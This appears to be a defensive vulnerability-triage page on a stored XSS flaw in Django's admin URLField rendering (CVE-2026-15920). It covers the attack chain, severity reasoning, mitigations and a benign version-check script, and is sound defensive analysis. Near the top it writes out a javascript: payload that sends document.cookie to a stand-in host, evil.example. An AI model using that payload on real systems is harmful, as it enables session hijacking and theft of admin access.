A poisoned business card that only detonates when someone in the C-suite reads it aloud
CVE-2026-15920 is a stored cross-site scripting flaw in Django's admin interface. The display_for_field function rendered URLField values as clickable <a> tags on changelist views and read-only detail pages without validating the URL scheme. An attacker who can store a value like javascript:document.location='https://evil.example/steal?c='+document.cookie into a URLField gets code execution in the browser of any Django staff user who clicks that link. Affected versions are Django 5.2 before 5.2.17 and Django 6.0 before 6.0.8. Django 6.1 release candidates are also affected.
The vendor rates this Moderate (6.1) and that is in the right neighborhood, but slightly generous. The CVSS vector sets PR:N (no privileges), which is only true if the application accepts URL input from unauthenticated users and stores it in a URLField — a real but not universal pattern. Crucially, Django's own URLField form validation already rejects javascript: schemes at the form layer, so the malicious value must enter the database through a path that bypasses form validation — a raw ORM .create(), a DRF serializer without scheme checks, a management command, or direct SQL. That narrows the realistic attack population. The victim must also be a staff user inside the Django admin, a surface that best practice keeps off the public internet entirely.
4 steps from start to impact.
Inject malicious URL into URLField
javascript:, data:, vbscript:) into a model's URLField. Because Django's form-level URLValidator already blocks non-HTTP(S) schemes, the write must bypass Django forms — e.g., via a REST API endpoint that accepts raw URL strings, a management command, bulk CSV import, or direct database access.- Application stores user-supplied URLs in a model URLField
- Write path bypasses Django's built-in URLField form validation
- Django's own form-layer URLValidator rejects
javascript:schemes — the attacker needs an alternative write path - DRF's
URLFieldserializer also validates schemes by default; only custom or raw serializers skip this
Admin user views the poisoned record
display_for_field function renders the stored value as a clickable <a href="javascript:..."> tag without scheme validation. No click is required yet — the link is simply rendered in the page.- Django admin is enabled for the affected model
- A staff user visits the relevant changelist or read-only detail page
- Django admin is typically restricted to internal networks or VPN — not internet-facing
- The poisoned record must appear on the specific page the admin visits
script-src restrictions would block inline javascript: execution in modern browsersAdmin clicks the malicious link
javascript: URI, executing arbitrary JavaScript in the context of the Django admin session. The attacker's payload can now steal the admin's session cookie (if not HttpOnly), create new superuser accounts via the admin's CSRF token, or exfiltrate data visible in the admin.- User interaction — the admin must click the link
- Browser does not block
javascript:URI navigation (most modern browsers allow it from same-origin clicks)
- Requires active user click — not a drive-by
- Security-aware admins may notice suspicious URLs
- HttpOnly session cookies limit cookie theft; SameSite=Lax limits cross-site relay
javascript: in stored fields; Django admin audit logging (if configured) captures page views but not link clicksSession hijack or privilege escalation
/admin/auth/user/add/ to create a new superuser, modify existing records, or exfiltrate sensitive data displayed in the admin. The blast radius is limited to what the compromised admin account can access within Django.- XSS payload successfully executes
- Admin user has sufficient permissions (ideally superuser)
- Django's CSRF protection is bypassed because the XSS runs same-origin, but the attacker must craft a payload that handles the CSRF token extraction
- Impact is bounded to the Django application — no lateral movement to the OS unless the app has command-injection elsewhere
The supporting signals.
| In-the-wild exploitation | No known exploitation. Not listed on CISA KEV. No campaigns reported as of 2026-08-05. |
|---|---|
| Proof of concept | No public PoC. The technique is trivially reproducible (javascript:alert(1) in a URLField), but no weaponized exploit has been published. Prior art exists from CVE-2019-12308 and CVE-2013-4249, which were nearly identical bugs in AdminURLFieldWidget. |
| EPSS | 0.00304 (low — bottom quartile). Reflects the narrow attack surface and user-interaction requirement. |
| KEV status | Not listed. No CISA KEV entry as of 2026-08-05. |
| CVSS vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N — Network-reachable, no privileges (debatable), requires user click, scope change (admin browser context), low C+I impact. The PR:N is only accurate if the application accepts unauthenticated URL input. |
| Affected versions | Django 5.2.0–5.2.16 and 6.0.0–6.0.7. Django 6.1 release candidates also affected. Django 4.2 LTS is not affected (already EOL but distinct codebase). |
| Fixed versions | Django 5.2.17 and 6.0.8, released 2026-08-04. Distro backports expected for Debian, Ubuntu, Fedora within days. |
| Exposure data | Django admin panels exposed to the internet are uncommon in enterprise. Shodan/Censys show Django deployments broadly but the /admin/ path is typically behind auth and network controls. No specific exposure count available for this CVE. |
| Disclosure date | 2026-08-04 — coordinated disclosure by Django security team. |
| Reporter | Egor Saltykov (misop00p / ansjdnakjdnajkd) |
noisgate verdict.
The single most decisive factor is the compound friction of the injection path: Django's own form-layer URLValidator already blocks dangerous URL schemes, so the attacker must find an alternative write path that bypasses built-in validation — a requirement that dramatically narrows the exploitable population. The blast radius is further bounded to the Django admin session of a single staff user who must actively click the link.
Why this verdict
- Form-layer validation already blocks the payload. Django's
URLFieldform class usesURLValidator, which rejectsjavascript:and other dangerous schemes. The attacker must find a write path (raw ORM, DRF without scheme validation, bulk import, direct SQL) that skips this check — a real but non-default condition. - Admin-only victim surface. The XSS only fires inside Django's admin interface, which best practice keeps behind VPN or IP allowlists. The victim must be a staff user who navigates to the specific model's changelist or detail page and clicks the poisoned link.
- User interaction required. This is not a drive-by. The admin must actively click the rendered link. Modern browser security features (CSP,
HttpOnlycookies) further limit the payload's effectiveness. - Role multiplier: Django is a general-purpose web framework. In low-value roles (dev sandbox, internal tool), the XSS yields limited data. In typical roles (line-of-business app), it yields admin-session hijack bounded to that app. In high-value roles (Django powering an internal identity portal or CI dashboard), a superuser session hijack could yield broader access — but the chain still requires form-validation bypass + admin click + no CSP, and Django is not canonically a high-value-role component (it is not an IdP, hypervisor, PAM, or network edge by definition). The floor does not mandate HIGH because <10% of Django installs occupy a high-value identity/infrastructure role by definition.
- No exploitation pressure. Zero KEV listing, near-zero EPSS, no public PoC, no active campaigns. This is a responsibly disclosed bug with low attacker interest.
Why not higher?
The XSS requires a non-default injection path that bypasses Django's own form validation, is limited to the admin interface (typically not internet-facing), and demands an active click from a staff user. There is no evidence of exploitation, no public weaponized PoC, and the blast radius is bounded to a single Django application's admin session. Django is not a canonical high-value-role component, so the role-multiplier floor does not elevate this to HIGH.
Why not lower?
Stored XSS is inherently more dangerous than reflected XSS because it persists and can target multiple admin users over time. Django is extremely widely deployed (top-3 Python web framework), so even a narrow exploitability window covers a meaningful absolute number of installations. The javascript: URI technique is well-understood and trivially weaponizable once a write path exists, requiring zero specialized tooling. A successful exploit yields full admin-session control, which in some deployments means superuser creation and data exfiltration.
What to do — in priority order.
- Deploy Content-Security-Policy headers on the admin — Set
script-src 'self'(or stricter) on Django admin responses. This blocksjavascript:URI execution in all modern browsers, neutralizing the XSS payload entirely. Deploy within the 365-day noisgate remediation window — or sooner if you have internet-facing admin panels. - Restrict Django admin to internal networks — Ensure
/admin/is only reachable via VPN, IP allowlist, or zero-trust network access. This eliminates remote exploitation and limits the attacker's ability to observe whether their payload fired. - Audit URLField write paths for scheme validation — Grep your codebase for
.objects.create(,.bulk_create(, raw SQL, and DRF serializers that accept URL input. Ensure all paths validate URL schemes before persisting. This closes the injection vector independent of the Django patch. - Enable HttpOnly and SameSite on session cookies — Set
SESSION_COOKIE_HTTPONLY = TrueandSESSION_COOKIE_SAMESITE = 'Lax'in Django settings. This prevents JavaScript from reading the session cookie, limiting the XSS payload to same-origin actions only.
- WAF URL-pattern rules — the malicious payload is stored in the database and rendered server-side in the admin HTML. A WAF inspecting inbound requests won't see the
javascript:URI unless it also inspects outbound response bodies, which most WAFs do not do by default. - Django's built-in CSRF protection — CSRF tokens prevent cross-origin form submissions but do nothing against same-origin XSS. The attacker's JavaScript runs in the admin's origin and can read the CSRF token from the DOM.
- Upgrading URLField to a custom field with regex validation — this is unnecessary if you apply the patch; the fix already adds URLValidator to the rendering path. A custom field adds maintenance burden without additional security.
Crowdsourced verification payload.
Run this script on any host where Django is installed (application server, CI runner, developer workstation). Invoke with python check_cve_2026_15920.py. No special privileges required — it simply checks the installed Django version.
#!/usr/bin/env python3
"""Check whether the installed Django version is vulnerable to CVE-2026-15920.
Stored XSS via URLField in Django admin (display_for_field).
Affected: Django 5.2.0-5.2.16, 6.0.0-6.0.7
Fixed: Django 5.2.17+, 6.0.8+
"""
import sys
try:
import django
except ImportError:
print("UNKNOWN — Django is not installed in this Python environment.")
sys.exit(2)
version = django.VERSION # tuple, e.g. (6, 0, 8, 'final', 0)
major, minor, micro = version[0], version[1], version[2]
vulnerable = False
if (major, minor) == (5, 2) and micro < 17:
vulnerable = True
elif (major, minor) == (6, 0) and micro < 8:
vulnerable = True
elif (major, minor) == (6, 1) and version[3] != 'final':
# 6.1 release candidates are affected; final release includes the fix
vulnerable = True
version_str = django.get_version()
if vulnerable:
print(f"VULNERABLE — Django {version_str} is affected by CVE-2026-15920.")
sys.exit(1)
else:
print(f"PATCHED — Django {version_str} is not affected by CVE-2026-15920.")
sys.exit(0)
If you remember one thing.
Content-Security-Policy header with script-src 'self' immediately. Audit any non-form write paths (DRF serializers, management commands, bulk imports) that store user-supplied URLs in URLFields — Django's form-layer validation already blocks javascript: schemes, so the real risk is in code that bypasses forms. Monday morning action: confirm your admin is behind VPN/IP allowlist and open a ticket to upgrade Django within your normal patch cadence.Sources
- Django security release announcement (2026-08-04)
- Django 6.0.8 release notes
- GBHackers — Django Flaws Let Attackers Trigger RCE, SSRF, DoS, and XSS
- CyberPress — Django Security Update Fixes Server-Side File Write, XSS, and DoS
- Cryptika — Django Urges Immediate Upgrade to 6.0.8 and 5.2.17
- CVE-2019-12308 (prior AdminURLFieldWidget XSS) — Snyk
- Django archive of security issues
What defenders are saying.
Crowdsourced verification outputs.
Results submitted by users who ran the verification payload against their environment.